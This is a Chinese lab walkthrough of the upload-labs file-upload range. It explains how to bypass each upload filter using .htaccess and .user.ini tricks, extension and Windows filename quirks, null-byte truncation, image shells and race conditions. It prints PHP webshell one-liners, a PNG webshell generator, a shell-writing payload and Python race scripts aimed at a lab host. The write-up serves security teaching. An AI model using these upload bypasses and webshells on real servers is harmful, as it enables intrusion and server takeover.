目录
Apache HTTPD 换行解析漏洞(CVE-2017-15715)
环境要求
若要自己亲自搭建环境,请按照以下配置环境,方可正常运行每个Pass。
配置项 配置 描述
操作系统 Window or Linux 推荐使用Windows,除了Pass-20必须在linux下,其余Pass都可以在Windows上运行
PHP版本 推荐5.2.17 其他版本可能会导致部分Pass无法突破
PHP组件 php_gd2,php_exif 部分Pass依赖这两个组件
中间件 设置Apache以moudel方式连接
Pass-01(JS前端验证)
本pass在客户端使用js对不合法图片进行检查!
方法一:删除JS验证
右键检查元素找到JS绑定的form表单 删除onsubmit后面的代码
上传php文件即可
实战或ctf上传php木马 由于更方便演示效果我这里用<?php phpinfo();?>替代
然后找到上传的文件地址 右键新建标签打开或者F12找到地址访问即可
效果如下
方法二:先上传符合要求的图片 再在burp里面修改后缀即可
Pass-02(MIME验证)
本pass在服务端对数据包的MIME进行检查!
前置知识$_FILES
超全局变量$_FILES是一个二维数组,用来保存客户端上传到服务器的文件信息。二维数组的行是文件域的名称,列有5个。
1、$_FILES[]['name'] #上传的文件名
2、$_FILES[]['type'] #上传的文件类型,这个类型是MIME类型(image/jpeg image/gif image/png)
3、$_FILES[]['size'] #文件的大小,以字节为单位
4、$_FILES[]['tmp_name'] #文件上传时候的临时文件
5、$_FILES[]['error'] #错误编码(值有0、1、2、3、4、6、7)0表示正确1
上传一个4.jpg文件查看效果
阅读代码
$is_upload = false;
$msg = null;
# 判断是否点击了提交按钮
if (isset($_POST['submit'])) {
# 判断文件路径是否存在 这里的UPLOAD_PATH=../upload 在config.php中被定义为常量
if (file_exists(UPLOAD_PATH)) {
# 对数据包的MIME进行校验
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
# 拼接了../upload/xxx.xxx
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
# 将上传的临时文件移动到目录../upload/xxx.xxx
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
# 移动文件出错
$msg = '上传出错!';
}
} else {
# 不符合MIMIE类型就报错
$msg = '文件类型不正确,请重新上传!';
}
} else {
# 文件路径不存在
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
用burp抓包修改conten-type即可
Pass-03(php3、phtml绕过黑名单)
本pass禁止上传.asp|.aspx|.php|.jsp后缀文件!
阅读代码
$is_upload = false;
$msg = null;
# 判断是否点击提交按钮
if (isset($_POST['submit'])) {
# 判断文件路径是否存在 这里的UPLOAD_PATH=../upload 在config.php中被定义为常量
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp'); //定义黑名单数组
$file_name = trim($_FILES['upload_file']['name']); //将上传的文件名首尾去除空格
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.'); //截取最后一个点到末尾的字符串(包含.)
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
# 如果上传的文件后缀不在黑名单数组中
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
# 拼接../upload/xxx.xxx 并对文件进行重命名 用的是截取的文件后缀名
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
# 将上传的临时文件移动到目录../upload/xxx.xxx
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
黑名单可以用php2 php3 php5 php7 phtml 等绕过
PHP5文件实际上就是.PHP文件,只不过代码由PHP5引擎解析。
PHP5是一种PHP版本间的区分,该后缀名并不常见,另外还有.PHP2、.PHP3和.PHP4文件。而当前最新的PHP版本为PHP7。
phtml 在Apache的httpd.conf里面修改 去除注释 修改config文件后需要重启php服务
我这里要么是403forbidden的 要么是不解析php3等文件
不知道为什么 防火墙和wd都是关闭的 搞了好久都不行
所以用了buuctf的靶场
Pass-04(.htaccess绕过黑名单)
本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!
前置知识 .htaccess
分布式配置文件
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
Unix、Linux系统或者是任何版本的Apache Web服务器都是支持.htaccess的,但是有的主机服务商可能不允许你自定义自己的.htaccess文件。
启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。
笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
代码和第三关类似 就不再阅读了
漏洞原理
利用上传到服务器上的.htaccess文件修改当前目录下的解析规则
1.php5.6以下不带nts的版本
2.服务器没有禁止.htaccess文件的上传,且服务商允许用户使用自定义.htaccess文件
(1).htaccess参数
常见配法有以下几种:
AddHandler php5-script .jpg
AddType application/x-httpd-php .jpg
SetHandler application/x-httpd-php
Sethandler 将该目录及子目录的所有文件均映射为php文件类型。
Addhandler 使用 php5-script 处理器来解析所匹配到的文件。
AddType 将特定扩展名文件映射为php文件类型。
.htaccess文件内容如下
<FilesMatch "4.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
思路一
先上传.htaccess文件 再上传一个4.jpg的文件
那么就将该目录及子目录的所有文件均映射为php文件类型。
注意:我使用的php版本为php5.4.45 运行模式为 Apache 2.0 Handler
在php的nts版本下面无法解析4.jpg为php文件 该运行模式为CGI/FastCGI
非nts的版本:成功
nts的版本:失败
思路二
尝试Apache的未知后缀名解析漏洞
经过测试 在php非nts版本下 运行模式为 Apache 2.0 Handler
成功
nts版本会报500 服务器内部错误
思路三
利用PHP 和 Windows环境的叠加特性,以下符号在正则匹配时的相等性:
双引号" = 点号.
大于符号> = 问号?
小于符号< = 星号*
先上传一个名为4.php:.jpg的文件,上传成功后会生成4.php的空文件,大小为0KB.
这一步 我成功了 原理就是在windows环境下 不允许文件命名中含有( \ / : * ? " < > | )
如果有 会自动截断 并生成一个空文件
然后将文件名改为4.<或4.<<<或4.>>>或4.>><后再次上传,重写4.php文件内容,Webshell代码就会写入原来的4.php空文件中。再访问4.php
经过测试 在php非nts版本下 运行模式为 Apache 2.0 Handler 成功!!!
Pass-05(.user.ini黑名单)
上传目录存在php文件(readme.php)
在php非nts版本下 运行模式为 Apache 2.0 Handler
可以尝试 Apache的未知后缀名解析漏洞 和 4.php:.jpg 即第四关的思路二、三
在php nts版本下我们尝试用.user.ini 进行黑名单的绕过
前置知识 .user.ini
.user.ini
.user.ini是php的一种配置文件,众所周知php.ini是php的配置文件,它可以做到显示报错,导入扩展,文件解析,web站点路径等等设置
自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。 官方解释: 除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。 这些模式决定着一个 PHP 的指令在何时何地,是否能够被设定。手册中的每个指令都有其所属的模式。例如有些指令可以在 PHP 脚本中用 ini_set() 来设定,而有些则只能在 php.ini 或 httpd.conf 中。
使用条件:
(1)服务器脚本语言为PHP
(2)对应目录下面有可执行的php文件
(3)服务器使用CGI/FastCGI模式
优势跟.htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache
auto_prepend_file/auto_append_file
这两个配置可以在php文件执行之前先包含制定的文件,所以我们可以上传一个图片马,这样就可以通过.user.ini使得这个图片马被包含,从而获取webshell
.user.ini
auto_prepend_file=a.jpg
.user.ini文件里的意思是:所有的php文件都自动包含a.jpg文件。.user.ini相当于一个用户自定义的php.ini
思路一
先上传.user.ini文件 再上传含有后门代码的a.jpg文件 根据提示:上传目录存在php文件(readme.php)
所以readme.php会自动包含a.jpg里面的代码 用蚁剑连接即可
a.jpg里面的一句话木马
<?php @eval($_POST['c'])?>
<?=eval($_POST['c'])?>
注意:这里要修改php.ini配置文件
分号是注释 改成和我一样的即可
然后访问readme.php 效果如下 也可以用一句话木马
思路二
用 5.php. .绕过
代码运行最后得到的后缀为"." 不在黑名单中 然而又用原来的5.php. .来拼接路径 由于windows在
文件命名中会删除.和空格 所以最终得到的是5.php 因此绕过了黑名单限制
$file_name = trim($_FILES['upload_file']['name']);
$img_path = UPLOAD_PATH.'/'.$file_name;
Pass-06(大小写绕过黑名单)
本关禁止上传.htaccess .user.ini
阅读代码 我这里只截取了关键部分的代码
$file_name = trim($_FILES['upload_file']['name']);// 首尾去除空格
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');//截取最后一个点到末尾的字符串(包含.)
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
# 判断是否在黑名单数组中
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
# 拼接../upload/xxx.xxx 并对文件进行重命名 用的是截取的文件后缀名
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}
那么我们逆推一下 最后要得到xxx.php 那么$file_ext就要是php 黑名单里面就禁止了pHp
没有禁止phP 、Php 所以将文件名字大小写就绕过了限制
注意:这里php版本选非nts版本的 才能成功
php nts版本会报 http 500 服务器内部错误 具体什么原因我也不太清楚
Pass-07(空格绕过黑名单)
源码我就不放了 和上面关卡的代码类似
阅读代码发现 缺少了首尾去除空格的代码过滤
利用PHP 和 Windows环境的叠加特性 windows系统自动删除文件名后缀的空格 绕过黑名单
Pass-08(点绕过黑名单)
阅读代码发现缺少了deldot函数 删除文件名最后一个点(如果有多个连续的.... 会全部删除)
这个函数是作者自己写的 以我现在的水平看不懂 以后再来分析
依旧是用首尾去除空格的后的原来的文件名来保存文件 没有截取后缀名
$file_name = trim($_FILES['upload_file']['name']);
$img_path = UPLOAD_PATH.'/'.$file_name;
那么就和第七关同理 获取的最终文件后缀为“.” 不在黑名单里面
利用Windows系统保存文件的特性 会删除文件后缀名的xxx.php. 最后上传的文件还是xxx.php
Pass-09(::$DATA绕过黑名单)
这一关黑名单,没有对::$DATA 进 行 处 理 使用::$DATA 进行处理,可以使用::$DATA绕过黑名单
补充知识:php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名
Pass-10(点空格点绕过黑名单)
在php非nts版本下
运行模式为 Apache 2.0 Handler
可以尝试 Apache的未知后缀名解析漏洞 和 4.php:.jpg 即第四关的思路二、三
在php的nts版本中 运行模式为cgi/fastcgi
用 10.php. .绕过
代码运行最后得到的后缀为"." 不在黑名单中 然而又用原来的10.php. .来保存文件 由于windows在
文件命名中会自动删除.和空格 所以最终得到的是10.php 因此绕过了黑名单限制
Pass-11(双写php绕过黑名单)
阅读代码 关键代码如下
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}
发现依旧是用上传的文件名来拼接路径并保存文件 没有对文件重命名
只是用了str_ireplace()函数来检测(此函数无视大小写) 如果文件名含有黑名单里面的字符串 就替换为空
但是只替换一次 并没有进行正则匹配或者是循环匹配敏感字符 因此只要双写php即可 因为是从左往右读的 所以替换为空后 还是php
pphphp、phphpp都可以尝试
Pass-12(%00截断白名单)
阅读代码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
# 定义了白名单数组
$ext_arr = array('jpg','png','gif');
# 截取上传文件名最后一个带点的文件后缀
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
# 判断后缀名是否都在白名单中
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
# 用$_GET来拼接上传路径 取上传文件的末尾点后缀名 并对文件进行重命名
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
# 移动临时文件到上传目录
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
本关提示:本pass上传路径可控!
代码漏洞点就在于 用$_GET['save_path']来组成上传的文件路径 而这个get传参是我们可以控制的地方
因此我们考虑用是否能进行截断 例如形成../upload/12.php/截断后面的(xxx.jpg)
这样就通过了白名单校验 并且保存成了php文件
这里就要用到0x00截断的知识
url中的%00(只要是这种%xx)的形式,webserver会把它当作十六进制处理,
然后把16进制的hex自动翻译成ascii码值“NULL”,实现了截断burpsuite中16进制编辑器将空格20改成了00。
本质上来说,都是利用0x00是字符串的结束标识符,进行截断处理。
只不过GET传参需要url编码成%00而已
原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。
%00截断
%00的使用是在路径上!
%00的使用是在路径上!
%00的使用是在路径上!
重要的话说三遍。如果在文件名上使用,就无法正常截断了。如:aaa.php%00bbb.jpg
需要满足的条件
00截断的限制条件是PHP<5.3.29,且GPC关闭
因为当 magic_quotes_gpc 打开时,所有的 ' (单引号), " (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符。
magic_quotes_gpc 着重偏向数据库方面,是为了防止sql注入,但magic_quotes_gpc开启还会对$_REQUEST, $_GET,$_POST,$_COOKIE 输入的内容进行过滤
实操如下
Pass-13(0x00截断白名单)
同第12关做法相同 只不过上传路径在$_POST数据中 不需要url编码
这里说一个小技巧 不需要修改hex值那么麻烦 只要在burp里面输入%00 然后进行url解码即可 得到就是0x00
Pass-14(文件包含+图片马)
阅读代码
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
大致意思就是读取文件头的两字节 将二进制数据转换为ASCII值 进行switch比较 也就是说只验证文件头信息
图⽚⽂件头以及解码(16进制)
1.JPEG
- ⽂件头标识 (2 bytes): 0xff, 0xd8 (SOI) (JPEG ⽂件标识)
- ⽂件结束标识 (2 bytes): 0xff, 0xd9 (EOI)
2.PNG
- ⽂件头标识 (8 bytes) 89 50 4E 47 0D 0A 1A 0A
3.GIF
- ⽂件头标识 (6 bytes) 47 49 46 38 39(37) 61
G I F 8 9 (7) a
那么直接上传图片马就完了
图片马可以用Notepad++打开图片 在图片末尾添加
利用文件包含漏洞 将含有php代码的图片马当做php文件解析
文件包含就相当于将其他目录的php文件复制粘贴到所在的php文件 减少代码的重复书写
这里利用get传参 将图片木马里面的代码复制过来并执行
include.php?file=upload/7920221011132540.png
Pass-15(文件包含+图片马)
同第14关
阅读代码 这里只讲解主要函数 其余代码都差不多
getimagesize()函数:
返回一个具有四个单元的数组。
索引 0 包含图像宽度的像素值,
索引 1 包含图像高度的像素值。
索引 2 是图像类型的标记:1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM。这些标记与 PHP 4.3.0 新加的 IMAGETYPE 常量对应。
索引 3 是文本字符串,内容为"height="yyy" width="xxx"",可直接用于 IMG 标记。
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
function isImage($filename){
# 定义含有三种图片格式的字符串
$types = '.jpeg|.png|.gif';
# 判断是否存在临时文件
if(file_exists($filename)){
$info = getimagesize($filename);
//getimagesize — 取得图像大小 返回一个数组
//例如array(7) {
[0]=> int(500)
[1]=> int(500)
[2]=> int(1)
[3]=> string(24) "width="500" height="500""
["bits"]=> int(8)
["channels"]=> int(3)
["mime"]=> string(9) "image/gif" }
$ext = image_type_to_extension($info[2]); //根据指定的图像类型返回对应的后缀名。
# 判断后缀名是否在字符串中 是返回对应数字 否则返回false
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
做法和第14关相同
Pass-16(文件包含+图片马)
没啥区别 只是换了函数 需要开启php_exif
模块。
做法和第14关相同
Pass-17(二次渲染+图片马/条件竞争)
函数介绍
basename — 返回路径中的文件名部分
给出一个包含有指向一个文件的全路径的字符串,本函数返回基本的文件名。
Note:
basename() 纯粹基于输入字符串操作, 它不会受实际文件系统和类似 "
..
" 的路径格式影响。
例子如下:
<?php
echo "1) ".basename("/etc/sudoers.d", ".d").PHP_EOL;
echo "2) ".basename("/etc/sudoers.d").PHP_EOL;
echo "3) ".basename("/etc/passwd").PHP_EOL;
echo "4) ".basename("/etc/").PHP_EOL;
echo "5) ".basename(".").PHP_EOL;
echo "6) ".basename("/");
?>
1) sudoers
2) sudoers.d
3) passwd
4) etc
5) .
6)
imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像
imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像
imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像
imagejpeg()
(PHP 4, PHP 5, PHP 7, PHP 8)
imagejpeg — 输出图象到浏览器或文件。
说明
imagejpeg ( resource
$image
, string$filename
= ? , int$quality
= ? ) : boolimagejpeg() 从
image
图像以filename
为文件名创建一个 JPEG 图像。参数
image
由图象创建函数(例如imagecreatetruecolor())返回的图象资源。
filename
文件保存的路径,如果未设置或为
null
,将会直接输出原始图象流。如果要省略这个参数而提供
quality
参数,使用NULL。
quality
quality
为可选项,范围从 0(最差质量,文件更小)到 100(最佳质量,文件最大)。默认为 IJG 默认的质量值(大约 75)。返回值
成功时返回
true
, 或者在失败时返回false
。
阅读代码
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
# 拼接上传路径 例如上传17.png 则 $target_path=../upload/17.png
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与MIME类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
// 这里存在逻辑缺陷 是先上传保存的图片 然后再去验证 如果不满足就删除上传的文件
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path); // 删除上传的原来的文件
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
二次渲染说白了就是上传的图片
他会重新创建画布 然后把里面的东西重新渲染一边
如果你的代码在里面也可能被渲染一遍 (具体怎么渲染得看底层代码了)
代码变成图片一部分那就失效了
思路一
所以需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接
这里我偷个懒 用别人做好的图片马(因为我搞了好多遍都失败了QAQ) 链接如下:
链接:https://pan.baidu.com/s/1JSGKNwweuqfYPOVzfTpkMQ?pwd=1234
提取码:1234
gif直接上传就完事了
png
网上找的代码直接生成 直接运行php脚本自动生成png文件 然后直接上传就完事了
内含一句话木马<?=$_GET[0]($_POST[1]);?>
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color);}
imagepng($img,'./exp17.png');
/*
<?=$_GET[0]($_POST[1]);?>
*/
?>
访问url
http://192.168.114.200/upload-labs-master/include.php?file=upload/13083.png&0=phpinfo
jpg比较困难 这里略
思路二
条件竞争
由于他的代码存在逻辑缺陷 是先上传保存的图片 然后再去验证 如果不满足就删除上传的文件
由于代码执行是一步步来的 需要时间 那我们不停的上传文件 就会产生并发 服务器会不停的对每个文件都执行相关的代码
由于他先上传 然后又原封不动的保存我们上传的文件 所以有一瞬间原本的文件存在 如果上传目录和文件名字已知的话 我们就可以通过url访问我们上传的文件
但是一会被删除怎么办?我们在访问上传的php文件就相当于执行了php代码 只要自动写一个木马文件到文件夹就成功了
代码如下 插入到png图片中即可
<?php fputs(fopen('../upload/shell.php','w'),'<?php phpinfo();?>');?>
所以需要一边不停用burp不停地上传 然后另一边不断的访问 访问的文件需要有写的权限 不然还是不行 还好这里靶场
访问的py脚本如下 不会脚本的话可以用浏览器插件不停的刷新网页 间隔设置的短一点 0.25秒这种
import requests
url = "http://192.168.114.200/upload-labs-master/include.php?file=upload/17.png"
while True:
html = requests.get(url)
if ('Warning' not in str(html.text)):
print('ok')
break
else:
print("发包中")
然后用burp的Intruder模块不停的发包就行了
两边同时运行就行了
然后查看我们的文件夹 发现有shell.php就成功了
Pass-18(条件竞争)
这关代码就不放了 还是和17关一样 也是先上传 再进行验证的 不符合就删除
依旧利用时间差来攻击 直接上传php文件
<?php fputs(fopen('../upload/shell18.php','w'),'<?php phpinfo();?>');?>
py脚本如下:
import requests
url = "http://192.168.114.200/upload-labs-master/upload/18.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
else:
print("发包中")
burp不停地发包
最后得到shell18.php
Pass-19(条件竞争+白名单+其他漏洞配合)
本关需要阅读index.php和myupload.php
index.php关键代码如下
if (isset($_POST['submit']))
{
require_once("./myupload.php");// 包含一次myupload.php 出错会终止执行后面的代码
$imgFileName =time();// 根据当前时间生成文件名
// 创建文件上传类 并传递四个文件上传的基本参数
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);//设置上传目录 define("UPLOAD_PATH","../upload");
myupload.php关键代码如下
<?php
# 定义了 MyUpload类
class MyUpload{
// 定义了一大堆东西 重点看$cls_arr_ext_accepted白名单 上传路径$cls_upload_dir
var $cls_upload_dir = ""; // Directory to upload to.
var $cls_filename = ""; // Name of the upload file.
var $cls_tmp_filename = ""; // TMP file Name (tmp name by php).
var $cls_max_filesize = 33554432; // Max file size.
var $cls_filesize =""; // Actual file size.
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
var $cls_file_exists = 0; // Set to 1 to check if file exist before upload.
var $cls_rename_file = 1; // Set to 1 to rename file after upload.
var $cls_file_rename_to = ''; // New name for the file after upload.
var $cls_verbal = 0; // Set to 1 to return an a string instead of an error code.
// 函数传递了$_FILES['upload_file']['name'],
// $_FILES['upload_file']['tmp_name'],
// $_FILES['upload_file']['size'],
// $imgFileName=time()
function MyUpload( $file_name, $tmp_file_name, $file_size, $file_rename_to = '' ){
$this->cls_filename = $file_name;
$this->cls_tmp_filename = $tmp_file_name;
$this->cls_filesize = $file_size;
$this->cls_file_rename_to = $file_rename_to;
}
// 判断文件是否为http post方式上传
function isUploadedFile(){
if( is_uploaded_file( $this->cls_tmp_filename ) != true ){
return "IS_UPLOADED_FILE_FAILURE";
} else {
return 1;
}
}
/*先判断../upload/文件夹是否可写
然后赋值给$this->cls_upload_dir 不过这里缺少个"/"
需要自己添加*/
function setDir( $dir ){
if( !is_writable( $dir ) ){
return "DIRECTORY_FAILURE";
} else {
$this->cls_upload_dir = $dir."/"; // $this->cls_upload_dir = "../upload/"
return 1;
}
}
// 判断是否在白名单中 白名单验证
if( !in_array( strtolower( strrchr( $this->cls_filename, "." )), $this->cls_arr_ext_accepted )){
return "EXTENSION_FAILURE";
} else {
return 1;
}
}
// 检查文件大小 可忽略
function checkSize(){
if( $this->cls_filesize > $this->cls_max_filesize ){
return "FILE_SIZE_FAILURE";
} else {
return 1;
}
}
// 移动临时文件到upload目录
function move(){
if( move_uploaded_file( $this->cls_tmp_filename, $this->cls_upload_dir . $this->cls_filename ) == false ){
return "MOVE_UPLOADED_FILE_FAILURE";
} else {
return 1;
}
}
// 检查上传文件夹../upload/time()是否存在
function checkFileExists(){
if( file_exists( $this->cls_upload_dir . $this->cls_filename ) ){
return "FILE_EXISTS_FAILURE";
} else {
return 1;
}
}
// 将上面函数进行整合
function upload( $dir ){
// 太多了略
}
?>
upload()函数大致思路如下:
- 判断文件是否为http post方式上传
- 建立文件夹
- 白名单验证后缀名
- 检查大小
- 检查上传文件夹是否存在
- 移动临时文件到上传目录
- 对文件进行重命名
同样的逻辑缺陷 不过是白名单 上传路径不可控制 所以上传含有木马的白名单文件 配合条件竞争和其他漏洞来实现写入木马
思路一
白名单+条件竞争+Apache未知后缀名解析漏洞
上传一个Apache不识别的后缀名 通过条件竞争访问php文件 写入木马成功
我这里用19.php.ppt
注意Apache未知后缀名解析漏洞适用 php ts 版本
这里我用的版本5.5.38
py脚本如下
import requests
url = "http://192.168.114.200/upload-labs-master/upload/19.php.ppt"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
else:
print("发包中")
burp不断发包
成功
访问shell19.php
PS:其实你上传任何白名单的后缀都可以 包括图片等等 如果有时间的话我会研究一下漏洞的底层原因
思路二
白名单+条件竞争+文件包含漏洞
通用于php的nts和ts版本 因为是文件包含
py脚本代码如下:
import requests
url = "http://192.168.114.200/upload-labs-master/include.php?file=upload/19.jpg"
while True:
html = requests.get(url)
if ('Warning' not in str(html.text)):
print('ok')
break
else:
print("发包中")
剩余操作和第17、18关一样
非预期解
PS:由于是文件包含 不用条件竞争也是可以的 上传图片马直接包含就行了
Pass-20(黑名单+上传路径可控)
pathinfo()函数
<?php
$path_parts = pathinfo('/www/htdocs/inc/lib.inc.php');
echo $path_parts['dirname'], "\n";
echo $path_parts['basename'], "\n";
echo $path_parts['extension'], "\n";
echo $path_parts['filename'], "\n"; // since PHP 5.2.0
?>
/www/htdocs/inc
lib.inc.php
php
lib.inc
产生漏洞的代码 $_POST传参导致文件上传路径可控
$file_name = $_POST['save_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
方法就很多了
.user.ini绕过——Pass05
大小写绕过——Pass06
末尾加空格或点或::$DATA绕过——Pass07、08、09
apache多后缀解析绕过
POST型00截断绕过
思路一
move_uploaded_file会忽略末尾的/.
本关用move_uploaded_file函数执行上传动作,该函数会忽略文件末尾的/.,因此可以在文件名后加/.这两个符号来绕过黑名单的限制。原理不太懂
思路二
Apache HTTPD 换行解析漏洞(CVE-2017-15715)
apache2.4.0~2.4.29版本 判断后缀时会带上末尾的换行符,也就是说.php%0A这个后缀和.php一样都会被apache当作php文件解析。
这个漏洞只有Linux能用,倒不是因为windows上的apache没有这个问题,而是因为windows不允许使用换行符作为文件名的结尾。
Pass-21(MIME验证+白名单+上传路径可控)
这一关白名单
验证过程:
--> 验证上传路径是否存在
--> 验证['upload_file']的content-type是否合法(可以抓包修改)
--> 判断POST参数是否为空定义$file变量(关键:构造数组绕过下一步的判断)
